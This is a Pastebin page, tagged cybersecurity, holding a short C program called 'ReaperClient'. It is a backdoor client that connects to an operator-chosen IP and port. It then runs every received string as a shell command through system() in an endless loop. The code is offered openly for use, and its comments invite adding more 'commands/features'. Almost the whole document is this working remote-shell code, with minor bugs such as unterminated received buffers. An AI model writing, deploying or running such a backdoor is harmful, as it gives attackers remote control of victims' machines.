Advertisement
FlyFar

client.c

Jan 17th, 2024
642
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.93 KB | Cybersecurity | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <arpa/inet.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9.  
  10. #define HOST "0.0.0.0" // Edit this to your own IP!
  11. #define PORT 1337 // Edit this if you would like!
  12.  
  13.  
  14. /*
  15. ReaperClient
  16. Date 08/17/21
  17. Author: 0x1CA3
  18. Note: You can customize this client to support more commands if you would like!
  19. */
  20.  
  21.  
  22. int main(void) {
  23.     int fd;
  24.     char command[5000];
  25.     struct sockaddr_in server;
  26.    
  27.     server.sin_family = AF_INET;
  28.     server.sin_addr.s_addr = inet_addr(HOST);
  29.     server.sin_port = htons(PORT);
  30.  
  31.     fd = socket(AF_INET, SOCK_STREAM, 0);    
  32.     connect(fd, (struct sockaddr *)&server, sizeof(server));
  33.  
  34.     while (1) {
  35.         recv(fd, command, sizeof(command), 0); // You can start getting creative and add your own commands/features here! :D
  36.         system(command);
  37.     }
  38.    
  39.     EXIT_SUCCESS;
  40. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement